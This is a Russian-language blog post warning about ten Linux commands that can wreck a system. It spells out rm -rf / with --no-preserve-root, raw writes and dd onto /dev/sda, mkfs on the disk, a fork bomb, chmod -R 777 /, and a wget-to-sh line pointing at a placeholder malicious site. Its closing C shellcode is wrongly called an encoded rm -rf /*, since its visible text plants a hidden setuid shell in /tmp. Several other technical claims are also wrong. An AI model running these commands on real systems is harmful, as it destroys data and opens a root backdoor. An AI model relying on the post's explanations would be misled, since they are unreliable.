Бесплатно Экспресс-аудит сайта:

22.11.2022

10 команд Linux, способных уничтожить вашу систему

Убийственная команда rm -rf /*

rm -rf /* самая любимая команда у интернет-троллей, которые любят жестоко поиздеваться над новичками, кидая эту команду в различные обсуждения и чаты. Давайте изучим ее подробнее:

  • rm – команда для удаления файлов/каталогов;

  • -r – флаг, необходимый для рекурсивного удаления всех файлов внутри папки;

  • -f – флаг, позволяющий выполнить операцию без спроса у пользователя.

Без root-прав эта команда не принесет никакого вреда. Даже sudo rm -rf / не создаст никаких проблем, так как у большей части популярных дистрибутивов есть защита от выполнения этой команды. За это отвечает функция --preserve-root.

Однако, если вы все же хотите выполнить эту команду, у вас есть два варианта:

  • с отключением защиты: sudo rm -rf / --no-preserve-root

  • и более простой: sudo rm -rf /*

После выполнения система начнет рекурсивно удалять вообще все файлы, начиная с корневой директории, пока система не зависнет с сообщением “Error deleting file”. После перезагрузки Linux обычно выдает ошибку grub-rescue.

/dev/sda – уничтожаем файловую систему!

Пользователи, знакомые с файловыми системами, наверняка знают что такое > /dev/sda. Эта строка запускает команду и посылает результат ее работы прямо на жесткий диск, записывая данные непосредственно на него, тем самым повреждая файловую систему. Вот пример:

  • echo "Hello" > /dev/sda

Команда заменит раздел, содержащий все данные, необходимые для загрузки системы, строкой "Hello".

mv ~ /dev/null или как отправить все свои данные в бездну

Внутри каждой Linux-системы есть бездна. И эта бездна – /dev/null. Все, что окажется в этой области, будет удалено навсегда. Давайте разберем и эту команду:

  • mv – необходима для переноса файлов и каталогов в указанное место;

  • ~ – указатель на домашний каталог;

  • /dev/null – перемещает домашний каталог на устройство /dev/null, уничтожая тем самым все ваши файлы и удаляя копии оригиналов.

И хотя система не выдаст ошибку и будет работать исправно, после выполнения mv ~ /dev/null все данные пользователя бесследно исчезнут.

Форматируем жесткий диск с помощью mkfs.ext3 /dev/sda

Команда, подобная format c: на Windows. Устроена она довольно просто:

  • mkfs.ex3 – создает новую файловую систему ext3 на устройстве;

  • /dev/sda – указывает на жесткий диск.

Вот и все! Несложная команда оставляет пользователя без всех данных.

Форк-бомба: простая, но опасная

:(){:|:&};: – комбинация из специальных символов, как будто выбранных наугад. Однако, она достаточно мощная, чтобы остановить работу работающей системы, просто заняв собой все доступные ресурсы.

Работает она предельно просто – создаёт функцию, запускающую еще два своих экземпляра, которые потом будут повторять этот процесс. И это будет продолжаться до тех пор, пока процесс не займет всю физическую память компьютера, заставив его зависнуть.

command > config_filename перезаписываем важные файлы конфигурации

С command > config_filename все просто – она просто очищает содержимое конфигурационного файла и записывает в него новые данные. Таким образом можно легко повредить систему, случайно перезаписав важный конфигурационный файл.

Рецепт коктейля Молотова для корневых разделов dd if=/dev/random of=/dev/sda

Здесь все просто – команда забивает память компьютера мусором. А вот как она это делает:

  • dd – низкоуровневый инструмент для копирования;

  • if=/dev/random – задает /dev/random в качестве входа;

  • of=/dev/sda – выдает данные на жесткий диск.

Мощный компьютер способен выдержать эту команду, но вот слабые системы могут очень сильно пострадать.

chmod -R 777/ – команда для тех, кому нечего скрывать

chmod -R 777/ открывает доступ ко всем файлам, расположенным в корневом разделе. Это не очень хорошо, так как после выполнения команды любой пользователь права на чтение, запись и выполнение любых файлов.

Любите рисковать – запустите wget http://вредоносный_сайт -O- | sh

Команда, позволяющая скачать и выполнить скрипт, взятый с сайта в интернете. В этом случае, если скрипт окажется вредоносным, то безопасность всей системы пользователя окажется под угрозой, ведь команда выполнит его с root-правами, даже не спрашивая разрешения на выполнение.

Самое необычное напоследок – замаскированная rm -rf /*

Linux позволяет запускать команды в терминале самыми разными способами. Один из них – ввод команды в шестнадцатеричном коде.

Пример:

char esp[] __attribute__ ((section(“.text”))) /* e.s.p  release */  = “xebx3ex5bx31xc0x50x54x5ax83xecx64x68”  “xffxffxffxffx68xdfxd0xdfxd9x68x8dx99”  “xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7”  “x56x04xf7x56x08xf7x56x0cx83xc4x74x56”  “x8dx73x08x56x53x54x59xb0x0bxcdx80x31”  “xc0x40xebxf9xe8xbdxffxffxffx2fx62x69”  “x6ex2fx73x68x00x2dx63x00”  “cp -p /bin/sh /tmp/.beyond; chmod 4755  /tmp/.beyond;”;  

Несмотря на необычный внешний вид, эта команда является шестнадцатеричной rm -rf /*. Поэтому будьте осторожны, копируя необычные команды!

Подведем итоги

Помните, что именно вы отвечаете за последствия необдуманного выполнения опасных команд. Ведь работа UNIX заключается не в том, чтобы не дать вам прострелить себе ногу. А в том, что если вы решили это сделать – отправить пулю в вашу ногу самым эффективным способом, который у нее есть.

Это в той же степени применимо к Linux. Вы получаете полный контроль над своей системой и только вы решаете, что с ней делать.